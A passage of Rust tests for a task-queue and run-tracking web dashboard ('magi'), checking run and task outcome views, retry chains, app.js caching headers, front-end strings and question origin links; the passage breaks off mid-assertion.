23741    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23742        let fx = Fixture::start().await;
23743        let runs = fx.runs();
23744        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23745        write_run(&runs, old, RunStatus::Blocked);
23746        write_run(&runs, new, RunStatus::Merged);
23747        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23748        fx.queue().put(&mut t).expect("put");
23749
23750        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23751        let task = &view["task"];
23752        assert_eq!(task["status"], "done");
23753        assert_eq!(task["is_latest"], false);
23754        assert_eq!(task["latest"]["short"], "bbbb");
23755        assert_eq!(task["finished_by"]["id"], new);
23756        assert_eq!(task["finished_by"]["outcome"], "merged");
23757        assert_eq!(task["closed_by_hand"], false);
23758        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23759        assert!(APP_JS.contains("finished_by"));
23760        assert!(APP_JS.contains("superseded by run"));
23761    }
23762
23763    #[tokio::test]
23764    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23765        let fx = Fixture::start().await;
23766        let runs = fx.runs();
23767        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23768        write_run(&runs, old, RunStatus::Stalled);
23769        write_run(&runs, new, RunStatus::Blocked);
23770        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23771        fx.queue().put(&mut t).expect("put");
23772
23773        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23774        assert_eq!(task["status"], "held");
23775        assert_eq!(task["is_latest"], true);
23776        assert!(task["latest"].is_null());
23777        assert!(task["finished_by"].is_null());
23778        assert_eq!(task["closed_by_hand"], false);
23779    }
23780
23781    #[tokio::test]
23782    async fn a_direct_run_has_no_task_outcome() {
23783        let fx = Fixture::start().await;
23784        let runs = fx.runs();
23785        let id = "20260901-000000-aaaa";
23786        write_run(&runs, id, RunStatus::Blocked);
23787        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23788        assert!(view["task"].is_null());
23789    }
23790
23791    #[test]
23792    fn task_outcome_does_not_guess_a_finishing_run() {
23793        let a = "20260901-000000-aaaa";
23794        let b = "20260901-000000-bbbb";
23795        let c = "20260901-000000-cccc";
23796        let dir = tempfile::tempdir().expect("tempdir");
23797        write_run(dir.path(), a, RunStatus::Blocked);
23798        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23799        // `c` has no record: unreadable.
23800        let read = |id: &str| read_run(dir.path(), id).ok();
23801        // Neither a blocked run nor a no-op finished the task; the newest run is
23802        // unreadable and still named.
23803        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23804        let out = task_outcome(&t, a, 3, read);
23805        assert!(out.finished_by.is_none());
23806        assert!(out.closed_by_hand);
23807        let latest = out.latest.expect("latest");
23808        assert_eq!(latest.id, c);
23809        assert_eq!(latest.status, None);
23810        assert_eq!(latest.outcome, "record unreadable");
23811
23812        // A Ready run settles the task as done, so it is named as the finisher.
23813        write_run(dir.path(), c, RunStatus::Ready);
23814        let t = outcome_task(&[a, c], TaskStatus::Done);
23815        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23816        assert_eq!(out.finished_by.expect("finisher").id, c);
23817        assert!(!out.closed_by_hand);
23818
23819        // A resumed run id repeats: it is still the latest by id.
23820        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23821        assert!(task_outcome(&t, a, 3, read).is_latest);
23822    }
23823
23824    #[tokio::test]
23825    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23826        // The list route has known this since the card fix above; the detail
23827        // route — what an operator actually opens from a notification about
23828        // a blocked run — did not, and went on showing a bare red BLOCKED
23829        // chip for a run a retry had already finished.
23830        let fx = Fixture::start().await;
23831        let q = fx.queue();
23832        let runs = fx.runs();
23833        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23834        write_run(&runs, first, RunStatus::Blocked);
23835        write_run(&runs, second, RunStatus::Merged);
23836
23837        let mut t = Task::new(
23838            "one task".to_owned(),
23839            "do it".to_owned(),
23840            PathBuf::from("/repo"),
23841            Source::Human,
23842        );
23843        t.runs = vec![first.to_owned(), second.to_owned()];
23844        q.put(&mut t).expect("put");
23845
23846        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23847        assert_eq!(earlier["superseded_by"], "dddd");
23848        assert_eq!(earlier["latest_attempt"]["id"], second);
23849        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23850        assert_eq!(
23851            earlier["latest_attempt"]["resolved"], true,
23852            "the run that replaced it landed, so this one reads as settled"
23853        );
23854
23855        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23856        assert!(
23857            later["superseded_by"].is_null(),
23858            "the latest attempt is not superseded by anything"
23859        );
23860        assert!(
23861            later["latest_attempt"].is_null(),
23862            "the latest attempt has no later attempt of its own"
23863        );
23864
23865        // Front end: the detail page has to read the field this route now
23866        // carries, downgrade the chip, and link to the run that replaced it —
23867        // not just repeat the list card's own logic under a different name.
23868        // The link is built off `latest_attempt.id`, the server-resolved
23869        // full id, never a bare short string a client would have to guess a
23870        // full run from.
23871        assert!(APP_JS.contains("run.latest_attempt"));
23872        assert!(APP_JS.contains("data-superseded"));
23873        assert!(APP_JS.contains("#/runs/${latest.id}"));
23874    }
23875
23876    #[tokio::test]
23877    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23878        // A -> B -> C, all Blocked except the last. A's immediate successor
23879        // (superseded_by) is B, which is itself unresolved; what an operator
23880        // opening A's page actually needs is where the task's story stands
23881        // *now* - C, not B - without depending on whether C happens to be in
23882        // whatever page of /api/runs the client last cached.
23883        let fx = Fixture::start().await;
23884        let q = fx.queue();
23885        let runs = fx.runs();
23886        let (a, b, c) = (
23887            "20260901-000000-aaaa",
23888            "20260901-000000-bbbb",
23889            "20260901-000000-cccc",
23890        );
23891        write_run(&runs, a, RunStatus::Blocked);
23892        write_run(&runs, b, RunStatus::Blocked);
23893        write_run(&runs, c, RunStatus::Merged);
23894
23895        let mut t = Task::new(
23896            "retried twice".to_owned(),
23897            "do it".to_owned(),
23898            PathBuf::from("/repo"),
23899            Source::Human,
23900        );
23901        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23902        q.put(&mut t).expect("put");
23903
23904        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23905        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23906        assert_eq!(
23907            view["latest_attempt"]["id"], c,
23908            "the chain's current head, not the intermediate Blocked retry"
23909        );
23910        assert_eq!(view["latest_attempt"]["resolved"], true);
23911
23912        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23913        assert_eq!(mid["latest_attempt"]["id"], c);
23914        assert_eq!(mid["latest_attempt"]["resolved"], true);
23915    }
23916
23917    #[tokio::test]
23918    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23919        let fx = Fixture::start().await;
23920        let q = fx.queue();
23921        let runs = fx.runs();
23922
23923        // Still Blocked: the task is not resolved, so the older run must not
23924        // read as settled either.
23925        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23926        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23927        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23928        let mut t1 = Task::new(
23929            "still stuck".to_owned(),
23930            "do it".to_owned(),
23931            PathBuf::from("/repo"),
23932            Source::Human,
23933        );
23934        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23935        q.put(&mut t1).expect("put");
23936        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23937        assert_eq!(view1["latest_attempt"]["resolved"], false);
23938        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23939        assert_eq!(view1["latest_attempt"]["done"], true);
23940
23941        // Still running: the successor exists and must be reported as such.
23942        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23943        write_run(&runs, run_a, RunStatus::Blocked);
23944        write_run(&runs, run_b, RunStatus::Implementing);
23945        let mut t3 = Task::new(
23946            "retrying".to_owned(),
23947            "do it".to_owned(),
23948            PathBuf::from("/repo"),
23949            Source::Human,
23950        );
23951        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23952        q.put(&mut t3).expect("put");
23953        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23954        assert_eq!(view3["latest_attempt"]["id"], run_b);
23955        assert_eq!(view3["latest_attempt"]["resolved"], false);
23956        assert_eq!(view3["latest_attempt"]["done"], false);
23957
23958        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23959        // to check - not a confirmed finish, so this must not read as
23960        // resolved either, even though the run is done in the sense that
23961        // nothing is still running.
23962        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23963        write_run(&runs, noop_a, RunStatus::Blocked);
23964        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23965        let mut t2 = Task::new(
23966            "claims done".to_owned(),
23967            "do it".to_owned(),
23968            PathBuf::from("/repo"),
23969            Source::Human,
23970        );
23971        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23972        q.put(&mut t2).expect("put");
23973        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23974        assert_eq!(
23975            view2["latest_attempt"]["resolved"], false,
23976            "an unverified no-op claim must not read as a confirmed finish"
23977        );
23978
23979        // Front end: an unresolved successor must not carry the "finished
23980        // this work" note or the muted chip treatment.
23981        assert!(APP_JS.contains("latest.resolved"));
23982        // ...but the link to it shows as soon as it exists, labelled by state
23983        // and without the "finished" wording or the muted chip.
23984        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23985        assert!(APP_JS.contains("Latest attempt: "));
23986        assert!(APP_JS.contains("in flight"));
23987        assert!(APP_JS.contains("not resolved"));
23988    }
23989
23990    #[tokio::test]
23991    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23992        let fx = Fixture::start().await;
23993        // No cache header at all meant browsers invented their own policy,
23994        // and one did: a phone went on showing "Candidates must be folded
23995        // before deleting. Run `magi fold` first." - deleted two releases
23996        // earlier - from a deck that no longer contained the sentence. The
23997        // button it named was right there, and unreachable.
23998        let js = fx.get("/app.js").await;
23999        assert_eq!(js.status, 200);
24000        let tag = js
24001            .header("etag")
24002            .expect("an etag to revalidate against")
24003            .to_owned();
24004        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24005        assert_eq!(
24006            js.header("cache-control"),
24007            Some("no-cache, must-revalidate"),
24008            "the phone has to ask every time"
24009        );
24010
24011        // And the asking has to be cheap, or `must-revalidate` just means
24012        // "send the whole interface on every load".
24013        let again = fx
24014            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24015            .await;
24016        assert_eq!(
24017            again.status, 304,
24018            "a deck it already has costs one round trip"
24019        );
24020        assert!(again.body.is_empty(), "304 carries no body");
24021
24022        // A weakened tag from a proxy still matches; a different build does
24023        // not, which is the case that has to deliver the new interface.
24024        let weak = fx
24025            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24026            .await;
24027        assert_eq!(weak.status, 304);
24028        let stale = fx
24029            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24030            .await;
24031        assert_eq!(stale.status, 200, "an older build must be replaced");
24032        assert!(stale.body.contains("renderRunActions"));
24033    }
24034
24035    #[test]
24036    fn the_task_detail_has_an_actions_fab_and_sheet() {
24037        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24038        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24039        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24040        // Shown only on the task route, closed everywhere else.
24041        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24042        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24043        // Refreshed whenever the detail redraws, including the loading state.
24044        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24045        assert!(APP_JS.contains("renderTaskActions(null);"));
24046        // Same renderers and routes as the Queue card, no new endpoint.
24047        let sheet = APP_JS
24048            .find("function renderTaskActions")
24049            .expect("sheet renderer");
24050        let body = &APP_JS[sheet..sheet + 3000];
24051        assert!(body.contains("changePriority("));
24052        assert!(body.contains("openTaskEdit(task)"));
24053        assert!(body.contains("renderTaskHoldBox(host"));
24054        assert!(body.contains("renderTaskDoneBox(host"));
24055        assert!(body.contains("renderTaskDeleteBox(host"));
24056        assert!(APP_JS.contains("API.priority(id)"));
24057        assert!(APP_JS.contains("API.deleteTask(id)"));
24058        // A deleted task sends the operator back to the queue.
24059        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24060        // A refusal is shown inside the sheet.
24061        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24062    }
24063
24064    #[test]
24065    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24066        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24067        let actions = INDEX_HTML
24068            .find("id=\"run-actions-box\"")
24069            .expect("actions box");
24070        assert!(task < actions, "the task entry comes first in the sheet");
24071        assert!(APP_JS.contains("renderRunTaskEntry"));
24072        assert!(APP_JS.contains("\"Open task \""));
24073        // A run without a task says why there is nothing to open.
24074        assert!(APP_JS.contains("started directly, no task"));
24075        assert!(APP_JS.contains("sheet-task-link"));
24076        assert!(APP_JS.contains("task-chip-link"));
24077    }
24078
24079    #[test]
24080    fn the_deck_never_sends_the_operator_to_a_terminal() {
24081        // The whole point of the phone UI is that a terminal is not needed.
24082        // The delete control used to answer with "Run `magi fold` first."
24083        assert!(
24084            !APP_JS.contains("Run `magi fold` first"),
24085            "the deck must offer the fold, not prescribe a shell command"
24086        );
24087        assert!(APP_JS.contains("foldRun:"));
24088        assert!(APP_JS.contains("resumeRun:"));
24089        assert!(APP_JS.contains("renderRunActions"));
24090
24091        // Folding is destructive and armed in two steps, like deleting.
24092        assert!(APP_JS.contains("armedFold"));
24093        assert!(APP_JS.contains("Yes, fold worktrees"));
24094
24095        // And the copy has to say that the two actions are opposites, because
24096        // folding throws away exactly what a resume would continue from.
24097        assert!(APP_JS.contains("can no longer be resumed"));
24098    }
24099
24100    #[test]
24101    fn a_finished_run_explains_itself_with_its_own_last_line() {
24102        // The deck used to answer "why did this stop?" with a sentence chosen
24103        // by status alone. Run e633 stalled because two judges answered with
24104        // the wrong JSON shape and its card said "The panel collapsed on
24105        // agent quota" - with `quota: []` in the record and a quota-loss
24106        // counter right above it that correctly said nothing.
24107        assert!(
24108            !APP_JS.contains("collapsed on agent quota"),
24109            "a stall must not be explained by a cause the deck did not check"
24110        );
24111        assert!(
24112            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24113            "and a block must not offer a guess with an `or` in it"
24114        );
24115
24116        // The reason it does have is `run.event`, which must reach finished
24117        // runs: gating it on movement hid the recorded truth at the one moment
24118        // the operator is reading the card to find out what happened.
24119        assert!(
24120            APP_JS.contains("setText(r.event, run.event || \"\")"),
24121            "the run's last line is rendered unconditionally"
24122        );
24123        assert!(
24124            !APP_JS.contains("moving && run.event"),
24125            "and never gated on the run still moving"
24126        );
24127
24128        // Quota keeps its own counter, fed by the number actually recorded.
24129        assert!(APP_JS.contains("lost to quota"));
24130    }
24131
24132    /// The runs tree (section) and the state chips (waiting/done) are two
24133    /// independent lenses ANDed together in `renderRuns`, and some pairings
24134    /// can never both be true for any run - every "Landed"/"Ended" run is
24135    /// done by construction, so pairing either with "Active" or "In flight"
24136    /// always rendered zero cards with the filter bar still claiming
24137    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24138    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24139    /// a handful of (waiting, status) shapes standing in for the run
24140    /// lifecycle, because `cargo test` cannot execute the front end.
24141    ///
24142    /// That stand-in list is itself the part that drifted twice in review:
24143    /// once shipped with `waiting: true` paired with a done status the
24144    /// lifecycle cannot produce, then over-corrected into treating every
24145    /// waiting run as never done - which made "Waiting on you" look
24146    /// incompatible with "Done" even for the one real, reachable shape
24147    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24148    /// that combination. This test parses the shapes and the done-rule back
24149    /// out of `APP_JS`, reimplements `runSection` and the five state
24150    /// predicates independently in Rust, and checks the resulting
24151    /// section/filter compatibility table against the lifecycle rules by
24152    /// hand - so either direction of drift fails it again.
24153    #[test]
24154    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24155        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24156        let shapes_body_start =
24157            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24158        let shapes_close = APP_JS[shapes_body_start..]
24159            .find("].map(")
24160            .expect("the shape list is closed by its done-computing .map(...)")
24161            + shapes_body_start;
24162        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24163
24164        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24165        for entry in shapes_src.split('{').skip(1) {
24166            let waiting = entry.contains("waiting: true");
24167            let dead = entry.contains("live: \"dead\"");
24168            let status_at =
24169                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24170            let status_end = entry[status_at..]
24171                .find('"')
24172                .expect("the status string is closed")
24173                + status_at;
24174            let parked = entry.contains("display_status: \"parked\"");
24175            shapes.push((
24176                waiting,
24177                entry[status_at..status_end].to_string(),
24178                dead,
24179                parked,
24180            ));
24181        }
24182        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24183
24184        // The done rule itself (`!["implementing"].includes(shape.status)`),
24185        // read out of the source rather than hardcoded, so a renamed
24186        // in-flight status can't silently make every parsed shape "done".
24187        let done_rule_marker = "done: !";
24188        let done_rule_at = APP_JS[shapes_close..]
24189            .find(done_rule_marker)
24190            .expect("the done rule follows the shape list")
24191            + shapes_close
24192            + done_rule_marker.len();
24193        let includes_at = APP_JS[done_rule_at..]
24194            .find(".includes(shape.status)")
24195            .expect("the done rule ends in .includes(shape.status)")
24196            + done_rule_at;
24197        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24198            .trim()
24199            .trim_start_matches('[')
24200            .trim_end_matches(']')
24201            .split(',')
24202            .map(|s| s.trim().trim_matches('"'))
24203            .filter(|s| !s.is_empty())
24204            .collect();
24205
24206        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24207            .into_iter()
24208            .map(|(waiting, status, dead, parked)| {
24209                let done = !not_done.contains(&status.as_str());
24210                (waiting, status, dead, parked, done)
24211            })
24212            .collect();
24213
24214        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24215        // outright, then merged/ready land, stalled/blocked/failed/
24216        // verified_noop end, and everything else is still in flight.
24217        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24218            if waiting {
24219                return "waiting";
24220            }
24221            if dead
24222                && !parked
24223                && !matches!(
24224                    status,
24225                    "merged"
24226                        | "ready"
24227                        | "stalled"
24228                        | "blocked"
24229                        | "failed"
24230                        | "verified_noop"
24231                        | "superseded"
24232                        | "already_in_base"
24233                )
24234            {
24235                return "stale";
24236            }
24237            match status {
24238                "merged" | "ready" => "landed",
24239                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24240                | "already_in_base" => "ended",
24241                _ => "flight",
24242            }
24243        }
24244
24245        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24246        // way.
24247        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24248            match filter_key {
24249                "active" => !done,
24250                "flight" => !done && !waiting && !dead,
24251                "stale" => !done && !waiting && dead,
24252                "waiting" => waiting,
24253                "done" => done,
24254                "all" => true,
24255                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24256            }
24257        }
24258
24259        let compatible = |section: &str, filter_key: &str| {
24260            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24261                run_section(*waiting, status, *dead, *parked) == section
24262                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24263            })
24264        };
24265
24266        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24267        // (active, flight, stale, waiting, done, all) - hand-derived from the
24268        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24269        // currently contains.
24270        let expected = [
24271            ("waiting", [true, false, false, true, true, true]),
24272            ("stale", [true, false, true, false, false, true]),
24273            ("flight", [true, true, false, false, false, true]),
24274            ("landed", [false, false, false, false, true, true]),
24275            ("ended", [false, false, false, false, true, true]),
24276        ];
24277        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24278
24279        for (section, wants) in expected {
24280            for (filter_key, want) in filter_keys.iter().zip(wants) {
24281                assert_eq!(
24282                    compatible(section, filter_key),
24283                    want,
24284                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24285                );
24286            }
24287        }
24288
24289        // The compatibility check exists only to be acted on: both pickers
24290        // must actually consult it rather than just render its answer.
24291        assert!(
24292            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24293        );
24294        assert!(APP_JS.contains(
24295            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24296        ));
24297        assert!(APP_JS.contains(
24298            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24299        ));
24300    }
24301
24302    #[tokio::test]
24303    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24304        // An operator-named directory - git checkout or not - is never
24305        // second-guessed, even when it does not exist at all: only the
24306        // flag's own unmodified `.` default is ever eligible for discovery.
24307        let dir = tempfile::tempdir().expect("tempdir");
24308        let explicit = dir.path().join("not-a-checkout");
24309        std::fs::create_dir_all(&explicit).expect("create dir");
24310        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24311
24312        let missing = dir.path().join("does-not-exist-at-all");
24313        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24314    }
24315
24316    #[test]
24317    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24318        assert!(APP_JS.contains("function statsDonutArcs"));
24319        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24320        // A bucket click filters by the statuses src/stats.rs counts in it.
24321        assert!(APP_JS.contains("function statusInBucket"));
24322        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24323        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24324        let buckets = [
24325            "merged",
24326            "ready",
24327            "in_progress",
24328            "blocked",
24329            "failed",
24330            "verified_noop",
24331            "superseded",
24332            "stalled",
24333        ];
24334        for key in buckets {
24335            let var = format!("--verdict-{key}:");
24336            // Light, OS-dark and pinned-dark blocks each define it.
24337            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24338            assert!(
24339                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24340                "{key}"
24341            );
24342        }
24343    }
24344
24345    #[tokio::test]
24346    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24347        let dir = tempfile::tempdir().expect("tempdir");
24348        let queue = Queue::at(dir.path().join("queue"));
24349        let talks = Talks::at(dir.path().join("talks"));
24350        std::fs::create_dir_all(queue.root()).unwrap();
24351        std::fs::create_dir_all(talks.root()).unwrap();
24352
24353        // Put a corrupt json file in both stores
24354        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24355        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24356
24357        // Valid task and talk
24358        let mut task = Task::new(
24359            "title".into(),
24360            "inst".into(),
24361            PathBuf::from("/repo"),
24362            Source::Human,
24363        );
24364        task.id = "20261019-123456-abcd".into();
24365        // Write manually so it's a valid file
24366        std::fs::write(
24367            queue.path_of(&task.id),
24368            serde_json::to_string(&task).unwrap(),
24369        )
24370        .unwrap();
24371
24372        let talk_id = "20261019-234567-cdef";
24373        seed_talk_at(&talks, talk_id, "open");
24374
24375        // Exact match should succeed without failing on the corrupt json file
24376        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24377        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24378
24379        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24380        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24381        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24382    }
24383
24384    #[tokio::test]
24385    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24386        let home = tempfile::tempdir().unwrap();
24387        let ui = delta_test_ui(home.path());
24388        // A full history traversal would fail even with no questions.
24389        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24390        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24391        assert!(
24392            questions_list(State(ui.clone()))
24393                .await
24394                .unwrap()
24395                .0
24396                .is_empty()
24397        );
24398        assert!(
24399            question_origins(State(ui.clone()))
24400                .await
24401                .unwrap()
24402                .0
24403                .is_empty()
24404        );
24405        let mut question = Question::new(
24406            "run-history".into(),
24407            "review".into(),
24408            "seat".into(),
24409            "Useful question".into(),
24410            "Useful detail".into(),
24411            vec![],
24412        );
24413        ui.questions.put(&mut question).unwrap();
24414        let core = questions_core(State(ui.clone())).await.unwrap().0;
24415        assert_eq!(core.len(), 1);
24416        assert_eq!(core[0].question.summary, "Useful question");
24417        assert!(!core[0].can_consult_chat);
24418        assert!(core[0].origin_chat.is_none());
24419        assert_eq!(core[0].record_revision, question_record_revision(&question));
24420        assert!(question_origins(State(ui.clone())).await.is_err());
24421        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24422    }
24423
24424    #[tokio::test]
24425    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24426        let home = tempfile::tempdir().unwrap();
24427        let ui = delta_test_ui(home.path());
24428        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24429        let mut parent = Task::new(
24430            "parent".into(),
24431            "body".into(),
24432            PathBuf::from("/repo"),
24433            Source::Agent {
24434                run: chat.clone(),
24435                node: crate::queue::CHAT_NODE.into(),
24436            },
24437        );
24438        parent.id = "parent-task".into();
24439        parent.runs = vec!["parent-run".into()];
24440        ui.queue.put(&mut parent).unwrap();
24441        let mut previous = parent;
24442        for generation in 1..=2 {
24443            let mut child = Task::new(
24444                "child".into(),
24445                "body".into(),
24446                PathBuf::from("/repo"),
24447                Source::Human,
24448            );
24449            child.id = format!("child-task-{generation}");
24450            child.runs = vec![format!("child-run-{generation}")];
24451            child.followup = Some(crate::queue::FollowUp {
24452                origin_task: Some(previous.id.clone()),
24453                run: previous.runs[0].clone(),
24454                pr: String::new(),
24455                findings: vec![],
24456                generation,
24457            });
24458            ui.queue.put(&mut child).unwrap();
24459            previous = child;
24460        }
24461        // A run may have the same spelling as another task's id; its owner
24462        // must not override a typed task reference.
24463        let mut collision = Task::new(
24464            "collision".into(),
24465            String::new(),
24466            PathBuf::from("/repo"),
24467            Source::Human,
24468        );
24469        collision.id = "collision-task".into();
24470        collision.runs = vec![previous.id.clone()];
24471        ui.queue.put(&mut collision).unwrap();
24472        let mut questions = Vec::new();
24473        for (node, reference, expected, eligible) in [
24474            (crate::triage::NODE, previous.id.as_str(), true, false),
24475            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24476            ("review", previous.runs[0].as_str(), true, true),
24477            (
24478                crate::bump::NOTICE_NODE,
24479                previous.runs[0].as_str(),
24480                true,
24481                false,
24482            ),
24483            // Identical text in the wrong reference namespace is not evidence.
24484            ("review", previous.id.as_str(), false, false),
24485            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24486            ("review", "unrelated", false, false),
24487        ] {
24488            let mut q = Question::new(
24489                reference.into(),
24490                node.into(),
24491                "seat".into(),
24492                "Question".into(),
24493                String::new(),
24494                vec![],
24495            );
24496            ui.questions.put(&mut q).unwrap();
24497            questions.push((q, expected, eligible));
24498        }
24499        for (node, reference, associated, eligible) in [
24500            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24501            (
24502                crate::reconcile::NODE,
24503                previous.runs[0].as_str(),
24504                false,
24505                true,
24506            ),
24507            ("implement", previous.id.as_str(), false, false),
24508        ] {
24509            let mut q = Question::new(
24510                reference.into(),
24511                node.into(),
24512                crate::reconcile::SEAT.into(),
24513                "Reconcile".into(),
24514                String::new(),
24515                vec![],
24516            );
24517            ui.questions.put(&mut q).unwrap();
24518            questions.push((q, associated, eligible));
24519        }
24520        let mut release = Question::new(
24521            "release-record".into(),
24522            crate::bump::NOTICE_NODE.into(),
24523            "release-watch".into(),
24524            "Release".into(),
24525            String::new(),
24526            vec![],
24527        );
24528        ui.questions.put(&mut release).unwrap();
24529        let watch = crate::release_watch::WatchState {
24530            question: Some(release.id.clone()),
24531            run: Some(previous.runs[0].clone()),
24532            held_task: Some(previous.id.clone()),
24533            ..Default::default()
24534        };
24535        let watch_dir = home.path().join("release-watch");
24536        std::fs::create_dir_all(&watch_dir).unwrap();
24537        let watch_path = watch_dir.join("watch.json");
24538        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24539        // Ordinary questions and bump notices do not need watch-store I/O.
24540        for batch in [
24541            Vec::new(),
24542            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24543        ] {
24544            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24545            assert!(watches.is_empty());
24546        }
24547        questions.push((release.clone(), true, false));
24548
24549        let views = questions_list(State(ui.clone())).await.unwrap().0;
24550        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24551        for (q, associated, eligible) in &questions {
24552            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24553            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24554            let expected = associated.then_some(chat.as_str());
24555            assert_eq!(
24556                view.origin_chat.as_deref(),
24557                expected,
24558                "{} {}",
